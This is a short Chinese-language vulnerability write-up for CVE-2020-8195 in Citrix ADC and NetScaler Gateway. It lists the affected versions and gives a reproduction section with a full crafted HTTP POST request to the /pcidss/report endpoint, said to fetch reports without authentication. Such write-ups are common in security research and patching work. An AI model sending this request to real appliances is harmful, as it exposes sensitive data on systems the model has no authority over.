(CVE-2020-8195)Citrix 未授权访问漏洞

一、漏洞简介

Citrix ADC和Citrix NetScaler

Gateway存在一个信息泄露漏洞，该漏洞允许经过身份验证的远程恶意用户获取主机上的敏感信息。通过发送特制请求，攻击者可以利用此漏洞获取敏感信息，然后使用此信息对受影响的系统发起进一步的攻击。

二、漏洞影响

Citrix ADC and Citrix Gateway: < 13.0-58.30

Citrix ADC and NetScaler Gateway: < 12.1-57.18

Citrix ADC and NetScaler Gateway: < 12.0-63.21

Citrix ADC and NetScaler Gateway: < 11.1-64.14

NetScaler ADC and NetScaler Gateway: < 10.5-70.18

Citrix SD-WAN WANOP: < 11.1.1a

Citrix SD-WAN WANOP: < 11.0.3d

Citrix SD-WAN WANOP: < 10.2.7

Citrix Gateway Plug-in for Linux: <  1.0.0.137

三、复现过程Citrix 默认签名处允许使用以下HTTP请求下载报告而无需进行身份验证POST /pcidss/report?type=all_signatures&sid=254&username=nsroot&profile_name=default&set=0&sig_name=_default_signature_&sig_start_no=1 HTTP/1.1

Host: www.0-sec.org

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://citrix.local/pcidss/launch_report?type=main

Content-Type: application/xml

Content-Length: 0

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

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